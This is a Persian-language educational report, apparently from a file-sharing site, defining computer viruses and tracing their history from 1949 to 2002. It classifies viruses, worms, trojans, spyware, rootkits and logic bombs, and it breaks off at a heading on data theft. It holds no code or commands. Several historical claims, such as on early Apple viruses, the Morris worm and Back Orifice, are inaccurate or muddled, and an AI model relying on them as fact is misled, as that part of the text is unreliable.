تارا فایل

فایل تجزیه و تحلیل 4 نرم افزار مخرب ویروس- تروجان


فصل یکم- ویروس ها
– 1-1تعریف ویروس
به برنامه های رایانه ای که به منظور تخریب ویا سوءاستفاده از ساختار یک رایانه نوشته شود،ویروس رایانه ای می گویند. ویروس رایانه ای عبارتی است برای یک برنامه ناخواسته مخرب که می تواند روی رایانه هامنتشرواجراگردد.
.معمولاًویروس هاتوسط برنامه نویسان برای مقاصد گوناگون نوشته می شوند. اهدافی چون شهرت،انتقام، ایجاد خسارت و یا اهداف اقتصادی می توانند باعث ایجاد انگیزه در نوشتن ویروس کامپیوتری شوند. برخی از ویروس ها بسیار مخرب هستند و برخی تنها جنبه تبلیغاتی دارند.
علت نامگذاری این برنامه ها به ویروس به دلیل شباهت نحوه فعالیت آنها با ویروس ها در دنیای حقیقی است. ویروس رایانه ای را می توان برنامه ای تعریف نمود که می توان خودش را با استفاده از یک میزبان تکثیر نماید. بنابراین تعریف اگر برنامه ای وجود داشته باشد که دارای آثار تخریبی باشد ولی امکان تکثیر نداشته باشد،نمی توان آن را ویروس نامید.
معمولاً کاربران کامپیوتر به ویژه آنهایی که اطلاعات تخصصی کمتری درباره کامپیوتر دارند،ویروس ها را برنامه هایی هوشمندوخطرناک می دانند که خود به خود اجرا و تکثیر شده و آثار تخریبی زیادی دارند که باعث از دست رفتن اطلاعات و گاه خراب شدن کامپیوتر می گردند در حالی که طبق آمار تنها پنج درصد ویروس ها دارای آثار تخریبی بوده وبقیه صرفاً تکثیر می شوند. بنابراین ویروس های رایانه ای از جنس برنامه های معمولی هستند که توسط ویروس نویسان نوشته شده و سپس به طور ناگهانی توسط یک فایل اجرایی و یا جا گرفتن در ناحیه سیستمی دیسک،فایل ها و یا کامپیوتر های دیگر را آلوده می کنند. در این حال پس از اجرای فایل آلوده به ویروس و یا دسترسی به یک دیسک آلوده توسط کاربر دوم، ویروس به صورت مخفی از نسخه ای خودش را تولید کرده و به برنامه های دیگر می چسباند و به این ترتیب داستان زندگی ویروس آغاز می شودوهر یک از برنامه ها و یا دیسک های حاوی ویروس، پس ازانتقال به کامپیوتر های دیگر باعث تکثیر نسخه هایی از ویروس وآلوده شدن دیگر فایل ها و دیسک ها می شوند.
بنابراین پس از اندک زمانی در کامپیوتر های موجود در یک کشور و یا حتی در سراسر دنیا منتشر می شوند.از آنجا که ویروس ها به طور مخفیانه عمل می کنند، تا زمانی که کشف نشده وامکان پاکسازی آنها فراهم نگردیده باشد، برنامه های بسیاری را آلوده می کنند و از این رو یافتن سازنده و یا منشا اصلی ویروس مشکل است.
ویروس ها هر روز در اینترنت، بیشتروبیشتر می شوند. ولی تعداد شرکت های آنتی ویروس ثابت است. پس ما باید برای حفاظت از سیستم خود دست به کار شویم. دراین سلسله مقالات سعی داریم که نحوه مقابله با ویروس هاوهمین طور بیوگرافی ویروس هاونحوه مقابله با هر ویروس را آموزش بدهیم.
از نظر مردم عادی به برنامه ای که در سیستم عامل اختلالات ایجاد کندویروس است ولی باید بدانید که خود ویروس ها بنا به کارها و امکاناتی که دارند تقسیم بندی می شوند.ویروس ها مثل سایر برنامه ها هستند.کسانیکه ویروس رامی نویسندهم ازهمین برنامه های عادی برنامه نویسی استفاده می کند.این برنامه ها دقیقاً مثل چاقو می ماند که هم می شود استفاده درست کرد هم نادرست.
– 2-1تاریخچه ورود ویروس
1949:
Home
برای اولین بار تئوری برنامه هایی که خودشان را جایگزین می نمایند مطرح گردید.
1981: ویروس های Apple 1 , Apple 2 , Apple 3 از اولین ویروس هایی بودند که پا به عرصه عمومی نهادند.این ویروس ها توسط کمپانی Texas A & M برای جلوگیری از کپی های غیر مجاز بازی های کامپیوتری نوشته و سپس شایع شدند. این ویروس ها ویژه سیستم عامل Apple II بودند.
1983: فرد کوهن (Fred Cohen) زمانی که روی رساله دکترایش کار می کرد، رسماً یک ویروس کامپیوتری را چنین تعریف نمود: "یک برنامه کامپیوتری که می تواند روی سایر برنامه های کامپیوتری از طریق تغییر دادن آنها به روشی (شاید) مانند کپی کردن خودش روی آنها، تاثیر بگذارد".
1986: دو برادر برنامه نویس پاکستانی به نام های "بسیط" و "امجد" کد قابل اجرای موجود در بوت سکتور یک فلاپی دیسک را با خودشان (که برای آلوده نمودن فلاپی دیسک های 360KB نوشته بودند) جایگزین کردند. تمام فلاپی های آلوده دارای برچسب "Brain" بودند.بنابراین، این ویروس "Brain" یا "مغز پاکستانی" نام گرفت. همزمان در کشور اتریش برنامه نویسی به نام رالف برگر "Ralf Burger" دریافت که یک برنامه می تواند از طریق چسباندن خودش به انتهای یک برنامه دیگر تکثیر شود،او با استفاده از این ایده برنامه ای به نام Virdem نوشت که پدیده فوق را شبیه سازی می نمود. پس از آن برگر Virdem را در کنفرانسی به همه معرفی نمود. برگر همچنین کتابی درباره ویروس های کامپیوتری نوشت ودرآن سورس ویروس به نام Vienna را چاپ کرد که این مساله بعداً باعث سوءاستفاده بسیاری از افراد گردید.
1987: یک برنامه نویس آلمانی ویروسی به نام Cascade نوشت.این ویروس، اولین ویروسی بود که روش رمز کردن (Encryption) را به کار می برد. در این روش بیشتر کد ویروس به غیر از چند بایت از آن به صورت رمز شده در می آید و از آن چند بایت بعداً برای رمزگشایی بقیه کد ویروس استفاده می شود. در این صورت تشخیص ویروس برای آنتی ویروس ها بسیار مشکل تر می باشد و دیگر رشته تشخیص ویروس (که در آنتی ویروس ها به کار می رود) به چند بایت محدود نمی شود.
بعدها برنامه نویسی به نام مارک واشبرن "Mark Washburn" با استفاده از این ایده و سورس ویروس Vienna اولین ویروس هزار چهره (Polymorphic) به نام "1260" را نوشت.
1988: ویروس Jerusalem منتشر شدوبه یکی از شایع ترین ویروس ها تبدیل گشت.این ویروس درروزهای جمعه ای که مصادف با سیزدهم هر ماه بودند فعال می شدوضمن آلوده نمودن فایل های Com , Exe، هر برنامه ای که در آن روز اجرا می شد را نیز پاک می نمود.
1989: در ماه مارچ مهم ترین موضوع ویروسی، خبری بود که حکایت از فعال شدن ویروسی به نام Datacrime در ماه آوریل داشت.اما پس از بررسی سورس کد ویروس معلوم شد که این ویروس در هر تاریخی پس از روز سیزدهم اکتبر فعال شده واقدام به فرمت کردن سیلندر صفر هارد دیسک می نماید. بدین ترتیب کاربران تمامی محتوای هارد دیسک شان را از دست می دهند. ویروس Datacrime به احتمال زیاد در کشور هلند نوشته شده بود ولی آمریکایی ها اسم آن را ویروس Columbus Day گذاشتندواعتقاد داشتند که توسط تروریست های نروژی نوشته شده است. در این سال این ویروس علیرغم سر و صدای زیادش، خسارت های چندانی به بار نیاورد. در این سال همچنین ویروس نویسان بلغاری و روسی وارد عرصه ویروس نویسی شدند.
1990: مارک واشبرن "Mark Washburn" ابتدا ویروس هزار چهره 1260 و سپس بر همان اساس ویروس های V2P1 , V2P2 V2P6 را نوشت وسورس کد آنها را منتشر نمود، هر چند که بعداً ویروس نویسان این کدها را به کار نبردند و حتی این ویروس ها خطر چندانی هم نداشتند ولی ایده موجود در آنها الهام بخش بسیاری از ویروس نویسان شد.
از طرف دیگر در بلغارستان ویروس نویس ماهری با نام مستعار Dark Avenger چند ویروس خطرناک به نام های DarkAvernger- 1800 , Number of the Beast , Nomenklaturaرانوشت. ویروس های وی دارای دو ویژگی مهم"آلوده سازی سریع" و "صدمه زدن زیرکانه" بودند. Dark Avenger به صورت فعالانه ای از طریق آلوده نمودن برنامه های Shareware وارسال آنهااقدام به پخش ویروس هایش نیز می نمود. همچنین در این سال کمپانی Symantec نیز آنتی ویروس Norton را به بازار عرضه نمود.
1991: سر و کله ویروس Tequila از کشور سوئیس پیدا شد. این ویروس، ویروس هزار چهره کامل تری بود که پا به عرصه عمومی گذاشت و بسیار شایع شد. پس از آن نوبت انتشار ویروس هزار چهره دیگری به نام Amoeba از کشور مالت رسید. تشخیص ویروس های هزارچهره به دلیل اینکه پس از هر بار آلوده سازی ظاهرشان را تغییر می دهند، برای اسکنرهای ویروس بسیار سخت تر می باشد.
Dark Avenger هم درانتهای این سال موتور خود تغییر دهنده "MtE" را ابداع کرد که می توانست چهار میلیارد شکل مختلف به خود بگیرد و با پیوند زدن آن به هر ویروسی، یک ویروس کاملاً چند شکلی پدید می آمد. وی سپس با استفاده از MtE ویروس های Dedicated , Commander Bomber را به دو سبک کاملاً متفاوت نوشت.
1992: تعداد ویروس ها به هزار و سیصد عدد رسید که در مقایسه با ماه دسامبر سال 1990 چهارصد و بیست درصد افزایش یافته بود. همچنین در این سال پیش بینی شد که خطر ناشی از انتشار ویروس "میکلآنژ" پنج میلیون کامپیوتر را تهدید به نابودی خواهد کرد، که البته این رقم در عمل به بیش از ده هزار تا نرسید. علاوه بر اینها ویروس هزار چهره جدیدی با نام Starship پا به میدان نهاد، نرم افزارهای تولید ویروس توسط دو ویروس نویس با نام های مستعار Nowhere Man , Dark Angel نوشته شدندودرانگلستان نیز گروه ویروس نویسی ARCV تاسیس شد.
1993-1994: گروه ویروس نویسی جدیدی به نام Tridend در کشور هلند فعالیت خود را آغاز نمود و موتور جدیدی به نام TPE را عرضه کرد، سپس اعضای آن با استفاده از انواع مختلف TPE، ویروس های، Girafe Cruncher، Bosnia را نوشتند. در آمریکا هم Dark Angel به کمک موتور ابداعی اش موسوم به DAME ویروس Trigger را نوشت.
1995: Concept اولین ویروس ماکرو، نوشته شد. این ویروس اسناد نرم افزار Microsoft Word را مورد حمله قرار می داد.
1996: در استرالیا گروهی از ویروس نویسان به نام VLAD اولین ویروس ویژه سیستم عامل ویندوز موسوم به Bonz و همچنین اولین ویروس سیستم عامل لینوکس موسوم به Staog را نوشتند. علاوه بر اینها اولین ویروس ماکروی نرم افزار Microsoft Excel به نام Laroux نیز در این سال نوشته شد.
ویروس Strange Brew، اولین ویروسی که فایل های جاوا را آلوده می کرد، نوشته شد. این ویروس با کپی کردن خودش در میان کد فایل های Class و عوض نمودن نقطه شروع اجرای این فایل ها با نقطه شروع کد ویروسی اقدام به تغییر دادن فایل های Class می نمود. همچنین Back Orifice اولین اسب تراوایی که امکان دسترسی از راه دور به سایر سیستم ها را در اینترنت فراهم می نمود، نوشته شد و کم کم مقدمات ظهور ویروس های ماکروی نرم افزار Microsoft Access نیز فراهم می گردید.
1999: ویروس "ملیسا" از طریق اجرا نمودن ماکرویی که در اسناد ضمیمه شده به نامه های الکترونیکی موجود بود، صدمه زدن به سیستم ها را آغاز نمود. این ویروس همچنین برای گسترش خود از دفترچه آدرس نرم افزار Outlook استفاده می کرد و ضمیمه های آلوده را برای 50 نفر دیگر ارسال می نمود. ویروس "ملیسا" سریع تر از تمامی ویروس های قبلی منتشر گردید. در این سال همچنین ویروس Corner اولین ویروسی که می توانست فایل های برنامه MS Project را آلوده سازد، نیز نوشته شد. علاوه براین، نوآوری های دیگری هم در دنیای ویروس نویسان صورت گرفت که از بین آنها می توان به نوشته شدن ویروس Tristate که اولین ویروس ماکروی چند برنامه ای بود و می توانست فایل های سه برنامه از برنامه های مایکروسافت (ورد، اکسل و پاور پوینت) را آلوده کند و همچنین نوشته شدن کرم Bubbleboy اشاره نمود.
این کرم هم اولین کرمی بود که وقتی کاربر نامه ساده و بدون ضمیمه ای را در نرم افزار Outlook Express باز و یا آن را پری ویو می نمود، فعال می گردید. حتی بدون اینکه ضمیمه ای به همراه نامه باشد، این کرم برای اثبات یک روش جدید نوشته شده بود و بعداً ویروس Kak از این روش بهره گرفت و به صورت گسترده ای شایع شد.
2000: ویروس I Love You درست مانند ویروس "ملیسا" به وسیله نرم افزار Outlook در سراسر دنیا پخش گردید. اما این ویروس از نوع اسکریپت ویژوال بیسیک بود که به صورت ضمیمه نامه الکترونیکی ارسال می شد. ویروس I Love You فایل های کاربر را پاک می کرد و حتی به برخی از فایل های تصویری و موسیقی نیز رحم نمی کرد. علاوه بر این، ویروس اسم کاربر و رمز عبور وی را می دزدید و برای نویسنده اش می فرستاد.
در این سال همچنین ویروس های Resume (که شبیه ویروس "ملیسا" بود) و Stages (که از روش پسوند دروغین بهره می گرفت) نیز ظهور کردند. در ماه ژوئن این سال و در کشور اسپانیا کرم Timofonica از نوع اسکریپت ویژوال بیسیک اولین حمله به سیستم های مخابراتی را آغاز نمود و در ماه نوامبر نیز اولین ویروس نوشته شده به زبان PHP ظاهر شد، این ویروس که Pirus نام گرفت، خودش را به فایل های PHP , HTML اضافه می نمود.
2001: ویروس Anna Kournikova در پوشش تصویر ستاره تنیس، "آنا کورنیکووا" و با روش انتشاری مشابه ویروس های "ملیسا" و "I love You" ظاهر شد. در ماه می این سال هم ویروس Home Page به حدود ده هزار نفر از کاربران نرم افزار Outlook آسیب رساند. در ماه جولای و آگوست نیز کرمهای CodeRed I ، Code Red II به شبکه های کامپیوتری حمله نمودند.
تعداد کامپیوترهای آلوده حدود هفتصد هزار دستگاه و خسارت وارده به سیستم ها بالغ بر دو میلیارد دلار برآورد گردید.
حادثه مهم دیگری که در این سال به وقوع پیوست، نوشته شدن ویروس Winux یا Lindose در کشور جمهوری چک توسط Benny از اعضای گروه 29A بود که قابلیت آلوده سازی هر دو سیستم عامل ویندوز و لینوکس را با هم داشت.
در این سال همچنین ویروس LogoLogic-A و ویروس PeachyPDF-A (اولین ویروسی که برای پخش شدن از نرم افزار کمپانی Adobe ویژه فایل های PDF استفاده می کرد) نیز پا به عرصه حیات گذاشتند. ولی بدون شک اهمیت هیچ یک از این ویروس ها به اندازه کرم Nimda نبود، این کرم که در ماه سپتامبر ظاهر شد، از تکنیک های برتر سایر ویروس های مهم به صورت همزمان استفاده می نمود. بنابراین توانست تا بسیار سریع گسترش یابد.
از ویروس های خطرناک و خبرساز دیگر این سال نیز می توان به ویروس های Sircam , BanTrans اشاره کرد.
2002: ابتدا در ماه ژانویه شاهد ظهور اولین ویروس آلوده کننده فایل های با پسوند SWF بودیم که LFM-926 نام داشت. این ویروس یک اسکریپت دیباگ (که می توانست یک فایل COM ساخته و به وسیله آن سایر فایل های با پسوند SWF را آلوده نماید) رها می کرد. پس از آن کرم Donut به عنوان اولین کرمی که به سرویس های NET. توجه داشت، توسط Benny نوشته شد و سپس در ماه مارچ اولین کرمی که مختص سرویس های NET. بود وارد عرصه شد. این کرم توسط یک دختر جوان بلژیکی با نام مستعار Gigabite و به زبانC# نوشته شد. در ماه می این سال نیز Benjamin ظاهر شد. این ویروس از آن جهت مورد توجه قرار گرفت که برای گسترش از شبکه KaZaa peer-to-peer استفاده می نمود.
در ماه ژوئن ویروس Perrun برای اثبات فرضیه "امکان آلوده سازی فایل های تصویری با پسوند JPEG توسط ویروس ها"، نوشته شد که این مساله تا قبل از این غیر ممکن می نمود. در این ماه کرم Scalper که وب سرورهای Apache را مورد حمله قرار می داد و از آنها برای طغیان شبکه سوء استفاده می کرد نیز شناسایی گردید.

-3-1 انواع ویروس
انواع ویروس های رایج را می توان به دسته های زیر تقسیم بندی نمود:
-1-3-1سکتور بوت (boot sector)
سکتور بوت اولین سکتور بر روی فلاپی و یا دیسک سخت کامپیوتر است. در این قطاع کدهای اجرایی ذخیره شده اند که فعالیت کامپیوتر با استفاده از آنها انجام میشود. با توجه به اینکه در هر بار روشن شدن و بارگذاری، سکتور بوت مورد ارجاع قرار می گیرد، و با هر بار تغییر پیکر بندی کامپیوتر محتوای سکتور بوت هم مجدداً نوشته می شود، لذا این قطاع مکانی بسیار آسیب پذیر در برابر حملات ویروس ها می باشد.
ویروس های سکتور بوت، اولین نوع ویروس هایی بودند که مشاهده شدند. این ویروس هااز طریق فلاپی هایی که قطاع بوت الوده دارند انتشار می یابند. در صورت آلوده شدن سکتور بوت دیسک سخت کامپیوتر توسط ویروس، هر بار که کامپیوتر روشن می شود، ویروس خود را در حافظه بار کرده و منتظر فرصتی برای آلوده کردن فلاپیها می ماند تا بتواند خود را منتشر کرده و دستگاه های دیگری را نیز آلوده نماید. اینگونه ویروس ها می توانند به گونه ای عمل کنند که تا زمانیکه دستگاه آلوده است امکان بوت کردن کامپیوتر از روی دیسک سخت وجود نداشته باشد.
این ویروس ها بعد از نوشتن بر روی متن اصلی بوت سعی می کنند کد اصلی را به قطاعی دیگر بر روی دیسک منتقل کرده و آن قطاع را به عنوان یک قطاع خراب علامت گذاری می کند. هنگامی که شما در مرتبه بعدی دستگاه راروشن می کنید، سکتور بوت آلوده شده، مورد استفاده سخت افزار قرار خواهد گرفت و بنابراین ویروس فعال خواهد شد.
پس در صورتیکه کاربر دستگاه را به وسیله یک دیسکت آلوده، (معمولاً دیسک های نرمی که سکتور بوت آلوده دارند) راه اندازی کند، در نهایت دستگاه آلوده به ویروس خواهد شد.

– 2-3-1ویروس های ماکرو (کلان دستور)
ویروس های macro از مزایای برنامه نویسی macro سود می برند، دستوراتی هستند که در دستورات داخل فایل ها ادغام شده و به صورت خودکار اجرا می شوند. این نوع ویروس ها مستقیماً برنامه ها را آلوده نمی کنند. هدف این دسته از ویروس ها فایل های تولید شده توسط برنامه هایی است که از زبان های برنامه نویسی ماکرویی مانند مستندات Excel یا Wordاستفاده می کنند. در حقیقت ویروس های macro یک برنامه ماکرو است که می تواند از خود کپی ساخته و از فایلی به فایل دیگر گسترش پیدا کند. ویروس های macro از طریق دیسک ها، شبکه و یا فایل های پیوست شده با نامه های الکترونیکی قابل گسترش می باشد.
– 3-3-1ویروس های چند ریخت
این ویروس ها درهر فایل آلوده به شکلی ظاهر می شوند. با توجه به اینکه از الگوریتم های کد گذاری استفاده کرده وردپای خود را پاک می کنند، آشکارسازی و تشخیص اینگونه ویروس ها دشوار است.
-4-3-1ویروس های مخفی
این ویروس ها سعی می کنند خود را از سیستم عامل و نرم افزارهای ضد ویروس مخفی نگه دارند. برای این کار ویروس در حافظه مقیم شده و حائل دسترسی به سیستم عامل می شود. در این صورت ویروس کلیه درخواست هایی که نرم افزار ضد ویروس به سیستم عامل می دهد را دریافت می کند. به این ترتیب نرم افزارهای ضد ویروس هم فریب خورده و این تصور به وجود می آید که هیچ ویروسی در کامپیوتر وجود ندارد. این ویروس ها کاربر را هم فریب داده و استفاده از حافظه را به صورت مخفیانه انجام می دهند.

– 5-3-1ویروس های چند بخشی
رایج ترین انواع این ویروس ها ترکیبی از ویروس های سکتور بوت و ویروس های انگلی می باشند. ترکیب انواع دیگر ویروس ها هم امکان پذیر است.
-6-3-1ویروس های مبتنی بر پست الکترونیکی
ویروس هایی از این نوع از طریق پیام های پست الکترونیکی منتقل می گردند. این نوع ویروس ها بصورت خودکار برای افراد متعدد، پست خواهند شد. گزینش افراد برای ارسال نامه الکترونیکی بر اساس دفترچه آدرس پست الکترونیکی، انجام می گیرد.
در حقیقت آخرین اطلاعات موجود در رابطه با ویروس های کامپیوتری به ویروس های پست الکترونیکی اشاره دارد و در حال حاضر پست الکترونیک بزرگترین منشاه ویروس ها می باشد.
-7-3-1ویروس های دوزیست
اینگونه ویروس ها، ویروس هایی هستند که در دو محیط مختلف از نظر نوع سیستم عامل قادر به زیست و آلوده سازی می باشند. این نوع از ویروس ها در سیستم عامل های معروفی چون ویندوز و خانواده لینوکس بیشتر دیده شده اند و براحتی قادر به مهاجرت از سیستم عامل ویندوز به لینوکس و بلعکس می باشند. نگارندگان ویروسهای کامپیوتری تاکنون نمونه های مختلفی از این کدهای مخرب را که می تواند هر دو سیستم عامل ویندوز و لینوکس را مبتلا سازند، به صورت محدود و کنترل شده منتشر کرده اند.

– 4-1سایر نرم افزار های مخرب
برخی از محققین کرم ها، اسب های تروا ( Trojan Horse )، Spyware ها، Trapdoor ها، Backdoor ها، باکتری ها، Zombie، Rootkit و بمب های منطقی را در دسته ویروس ها قرار نمی دهند ولی واقعیت این است که این برنامه ها هم بسیار خطرناک بوده و می توانند خساراتی جدی به سیستم های کامپیوتری وارد نمایند .
– 1-4-1کرم ها
اولین و مشهورترین ویروس یک Worm می باشد که به طور تصادفی در 2 نوامبر 1988 وارد شبکه گردید. طبق ادعای طراح آن هدف از این کار تنها اثبات کردن ضعف سیستم امنیتی کامپیوتر ها بوده است. اینترنت در سال 1988 دوران کودکی خود را طی می کردو تنها در اختیار معدودی از دانشگاه ها، موسسات تحقیقاتی دولتی مانند NASA و آزمایشگاه های بین المللی مانند Los Alamos بود. با وجود اینترنت بسیار محدود آن زمان خبر از کار افتادن این مغزهای کامپیوتر ی در MIT , Berkeley و… تمام مردم را شوکه کرد. تنها در مذت چند ساعت بیش از 3000 کامپیوتر در مهم ترین مراکز آمریکا از کار افتاده و خسارت وارد بر آنها در حدود 100 میلیون دلار برآورد گردید.
Wormها زیر مجموعه ای از ویروس های کامپیوتری می باشند که برخلاف دیگر ویروس ها از جمله Melissa که خود را به صورت E-Mailبرای کاربران اینترنتی می فرستد. سیستم کامپیوتر را سوراخ کرده و به طرف مغز کامپیوتر پیش می روند. یکی از خصوصیات بارز Wormها توانایی پنهان شدن درون سیستم بوده به طوری که قابل ردگیری نمی باشند. این Worm ها مانند ویروس هایی می باشند که خود را در اعصاب ستون فقرات پنهان کرده و گاه و بی گاه دردهای شدیدی را تولید می کنند و اما Worm های مفید: در میان انواع Worm ها کرم های مفیدی نیز طی سالیان متمادی به منظور چک کردن کارآیی سیستم و… مورد استفاده قرار گرفته اند.
این Worm ها Agent نامیده شده و درون شبکه حرکت کرده اطلاعات منابع مورد استفاده و… را چک و اطلاعاتی در مورد کارکرد شبکه یا حتی محلی را که می توان ارزان ترین DVD را خریداری نمود به کاربر اعلام می دارند. از تفاوت های بارز میان Agent و Worm می توان به این مورد اشاره کرد که Agent برخلاف Worm خود را تکثیر نکرده و درون سیستم های کاربران نفوذ نمی کند.
-1-1-4-1تاریخچه اولین کرم
این Worm که توسط Robert Tappan Morris طراحی شده به RTM مشهور گردید. Morris بعد از اتمام دوره لیسانس خود در پاییز سال 1988 از دانشگاه خارج و به برنامه نویسی کامپیوتر روی آورد. بعد از آن در مقطع Ph.D دانشگاه MIT در رشته مورد علاقه خود مشغول به تحصیل گردید و بدین ترتیب از امکانات کامپیوتری واینترنتی دانشگاه بهره مند شد. وی در اکتبر سال 1988 برنامه ای را به منظور پی بردن به نقاط ضعف سیستم های اینترنتی و امنیتی کامپیوتر طراحی کرد. نحوه کار این برنامه بدین ترتیب بود که پس از رها شدن آن در اینترنت سریعاًوبدون جلب هیچ گونه توجهی پخش می گشت (طبق اظهارات وکیل مدافع موریس).
موریس به منظور جلوگیری از مشخص شدن هویت خود پس از اتمام برنامه آن را از طریق کامپیوتر های دانشگاه MIT وارد شبکه کرد. یکی از خصوصیات این ویروس اضافه کردن یک شمارنده به برنامه بود. بدین ترتیب در صورتی که این برنامه حداکثر تا 6 بار یک کپی از خود را در کامپیوتر پیدا می کرد، تکثیر نشده ودر هفتمین بار این برنامه پس از تکثیر و نفوذ به کامپیوتر آن را مورد هجوم قرار می داد. این برنامه ضمیمه یک اشتباه بسیار مهلک بود!! کامپیوتر هایی که در سال 1988 به اینترنت متصل می شدند به طور میانگین هر 10 روز یک بار خاموش شده ودوباره راه اندازی می گشتند. از آنجا که برنامه موریس در کامپیوتر ذخیره نمی شد، این خصوصیت سوپاپ اطمینانی گشت تا به هر بار خاموش شدن کامپیوتر برنامه به طور خودکار از میان برود.
با این حال از آنجایی که تمام کامپیوتر های متصل به اینترنت به طور همزمان خاموش نمی شدند این Worm ها می توانست دوباره برگشته و در آنجا مقیم گردد. طبق این نظریه موریس، تعداد Worm ها همواره دارای یک تعادل بوده و مشکل خاصی را در کامپیوتر سبب نمی شدند. و اما ایراد برنامه موریس دراین بود که این Worm بسیار سریع تر از انتظار موریس تکثیر می یافت در کمتر از چند ساعت بعد از آزادسازی آن هزاران کامپیوتر در مراکز حساس از کار افتاده و دچار سکته شدند. پنج روز بعداز ازادسازی Wormدر6نوامبرهمه چیز به حالت عادی خود برگشت در 12نوامبر سرانجام E-mail هایی که موریس در آنها طرز خنثی کردن Worm را توضیح داده بود به مقاصد خود رسیده و مردم از نحوه خنثی سازی Worm آگاهی یافتند.
2-4-1اسبهای تروا (Trojan Horse )
اسب های تروا تظاهر می کنند که کاری خاص را انجام میدهند ولی در عمل برای هدف دیگری ساخته شده اند. به عنوان مثال برنامه ای که وانمود می کند که یک بازی است ولی در واقع اجازه دسترسی از راه دور یک کاربر به کامپیوتر را فراهم می آورد. برنامه های فوق بر خلاف ادعای خود نه تنها عملیات مثبتی را انجام نخواهند داد بلکه باعث بروز آسیب های جدی پس از فراهم نمودن شرایط اجرا می باشند. (بطور مثال ممکن است اطلاعات موجود بر روی هارد دیسک را حذف نمایند). اسب های تروا دارای روشی برای تکثیر خود نمی باشند. اینگونه نرم افزارها اکثرا برای انتشار ویروس یا کرم و یا ایجاد یک Backdoor (در پشتی) بکار می روند. به اینگونه نرم افزارها RAT نیز گفته می شود.
-3-4-1جاسوس افزارها(Spyware)
نرم افزار جاسوسی هر نوع فناوری یا برنامه روی کامپیوتر شماست که اطلاعات را بطور پنهانی جمع آوری میکند. Spyware یک نام کلی برای برنامه هایی است که رفتارهای مشخص انجام می دهند مثل نمایش آگهی های تبلیغاتی، جمع آوری اطلاعات شخصی یا تغییر تنظیمات کامپیوتر شما که معمولا بدون کسب مجوز اجرا می شوند.
در حقیقت جاسوس افزار، نرم افزاری است که اقدام به جمع آوری اطلاعات شخصی بدون آگاهی و یا اجازه کاربران می نماید. اطلاعات جمع آوری شده می توان شامل لیست سایت های مشاهده شده توسط کاربر و یا اطلاعات بمراتب حساس تری نظیر نام و رمز عبور باشد.

-4-4-1درهای پشتی (Backdoor)
برنامه ای است که به یک نفوذگر این امکان را می دهد تا پروسه امنیتی یک سیستم را دور زده و منابع مختلفی از آن سیستم را از راه مربوطه در اختیار نفوذگر قرار دهد. به عبارت دیگر در پشتی راهی ساده و فرعی برای ورود مجدد یه سیستم بدون پیش نیازهای امنیتی میباشد.
Backdoor حضور بلند مدت نفوذگر را بر روی سیستم هدف تضمین می کند.
– 5-4-1باکتری ها (Bacteries )
اینگونه از نرم افراز های مخرب کاری بجز تکثیر خود بصورت نمایی انجام نمی دهند ولی همین عمل می تواند منجر به درگیر شدن همه منابع سیستم (پردازنده، حافظه و فضای دیسک سخت) تا سر حد مرگ شود.
Zombie -6-4-1
نرم افزار های معروف به Zombie در قالب برنامه های رایگان، زیبا و جذاب ولی آلوده در سراسر شبکه اینترنت توزیع می شوند بخشی از کاربران آماتور که آگاهی خاصی از این موضوع ندارند، با اجرای این برنامه ها، ارسال بخشی از بسته های بمباران کننده مثل SYN-Flood را بر عهده می گیرند و بدین نحو بدون اطلاع، با اهداف شوم نفوذگر همسو می شوند.
Rootkits -7-4-1
یک Rootkits، شامل مجموع ای از برنامه هایی است که نفوذگر جهت گریز از کشف و ردیابی در هنگام دسترسی غیر مجاز به کامپیوتر هدف از انها استفاده می کند. Rootkits، عملیاتی کلی مانند جابجایی فایل های اصلی و کتابخانه ای یا نصب ماژول هسته سیستم عامل را انجام می دهد. نفوذگر ابزارRootkit را پس از دسترسی به سیستم هدف در سطح یک کاربر مدیر، بر روی سیستم نصب می کند. این دسترسی می تواند از طریق درهم شکستن کلمه عبور و یا بهره گیری از نقاط آسیب پذیر سیستم صورت گیرد. در ادامه نفوذگر اقدام به جمع آوری User ID های سیستم هدف از طریق ابزار Rootkit می نماید تا به حساب کاربری اصلی مانند حساب کاربری Root یا Administrator دست یابد.
-8-4-1بمب های منطقی
بمب های منطقی برنامه هایی هستند که در زمان هایی از قبل تعیین شده؛ مثلا یک روز خاص؛ اعمالی غیر منتظره انجام می دهند. این برنامه ها فایل های دیگررا آلوده نکرده و خود را گسترش نمی دهند در حقیقت بمب های منطقی یکی از قدیمی ترین انواع نرم افزارهای مخرب محسوب می شوند. این نرم افزار ها شامل یک قطعه کد پنهانی بوده که در داخل یک برنامه مجاز گنجانیده شده است و همانطور که گفته شد این قطعه کد به شرط خاصی فعال می شود و آن می تواند وجود یا عدم وجود فایل خاصی، تاریخ / ساعت مشخصی و یا کاربر خاصی باشد که در صورت فعال شدن معمولا همراه با انجام عملیات تخریبی می باشد. ( مانند تغییر یا حذف فایل ها )
-5-1عملکرد ویروس ها
ویروس ها علاوه بر کار اصلی خود، کارهای فرعی دیگری که در اکثر اوقات از آنها برای جلب توجه کاربر استفاده می شود ( و به این قسمت از برنامه ویروس اکثرا Playload گفته می شود)انجام می دهند در قسمت زیر بعضی از اینگونه فعالیت ها آورده شده است:
-1-5-1پیغام ها
گاهی ویروس ها اقدام به ارسال و نمایش پیغامهای معنی دار و بی معنی به مخاطب خود می کنند که اصولا این پیغام ها اهداف و جهت های خاصی را دنبال می کنند. برای مثال ویروس WM98/jerk اقدام به نمایش پیغام های توهین آمیز به کاربر و قربانی خود می کند.
-2-5-1 شوخی ها
اکثر ویروس ها موضوعی مانند شوخی را سرلوحه کار خود قرار می دهند و در کنار کار اصلی خود قصد شوخی کردن با کاربر خود را نیز دارند. برای مثال ویروس Yankee در ساعت 5 بعد ازظهر اقدام به نمایش و اجرا یک برنامه طنز خاص می نماید.
-3-5-1غیر فعال کردن دسترسی ها
این اقدام از مهمترین و اصلی ترین اقدامات یک ویروس بشمار می آید. البته ویروس هایی هم گزارش شده اند که به هیچ وجه از اقدامات عدم دسترسی در جهت پیش برد اهدافشان استفاده نمی کنند. اما این اقدام می تواند یکی از استانداردترین اهداف یک ویروس بشمار آید. به عنوان مثال ویروس WM97/NightShade در جمعه هایی با تاریخ 13 هر ماه متن های باز شده در دستگاه را توسط کلمه رمزی غیر قابل دسترسی می کند.
– 4-5-1سرقت اطلاعات
